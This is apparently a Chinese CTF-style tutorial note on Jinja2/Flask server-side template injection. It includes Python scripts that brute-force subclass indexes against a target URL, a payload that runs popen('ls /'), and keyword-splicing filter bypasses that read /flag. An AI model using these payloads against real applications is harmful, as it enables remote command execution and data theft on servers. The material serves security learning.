search = 'popen' num = -1 for i in ().__class__.__bases__[0].__subclasses__(): num +=1 try: if search in i.__init__.__globals__.keys(): print(i,num) except: pass # <class 'os._wrap_close'> 161 # <class 'os._AddedDllDirectory'> 162
但是这是本地运行的,在其中我们应该自己寻找,通过逗号的搜索发现处于132位
这里是133,但是索引是从0开始的
但是这个本地查找的方法可能不是那么的beautiful对吧
1 2 3 4 5 6 7 8 9
import requests headers = { 'User-Agent': 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0' } for i inrange(500): url = "http://127.0.0.1:5000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}" res = requests.get(url=url, headers=headers) if'os.py'in res.text: print(i)
headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36' }
for i inrange(500): url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"
res = requests.get(url=url, headers=headers) if'eval'in res.text: print(i)
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('ls /').read()%}{%endif%}{%endfor%}
{% set po=dict(po=a,p=a)|join|count%}{%print(po)%} # 3
{% set po=dict(po=a)|join|count%}{%print(po)%} # 2
length
1 2 3 4 5
{% set c=(t|length)%}{%print(c)%} #0
{{(dict(e=a)|join|length)}} #1
{{(dict(e=a,po=b)|join|length)}} #3
利用~和|int
1 2 3
|int 用来整数型转换
~ 用来链接字符串 相当于加
1
{% set ccc=(dict(ee=a)|join|count)%}{% set ccccc=(dict(eeee=a)|join|count)%}{% set coun=(ccc~ccccc)|int%}{%print(coun)%} 为24
拼接关键字
set
1 2 3 4 5 6 7 8 9 10
{% set po=dict(po=a,p=a)|join%} //拼接出pop {% set a=(()|select|string|list)|attr(po)(24)%} //拼接出_ {% set ini=(a,a,dict(init=a)|join,a,a)|join%} //拼接出__init__ {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} //拼接出__globals__ {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} //拼接出__getitem__ {% set buil=(a,a,dict(builtins=a)|join,a,a)|join()%} //拼接出__builtins__ {% set x=(x|attr(ini)|attr(glo)|attr(geti))(buil)%} {% set chr=x.chr%} //使用chr类来进行RCE因为等会要ascii转字符 {% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%} //拼接出/flag {%print(x.open(file).read())%}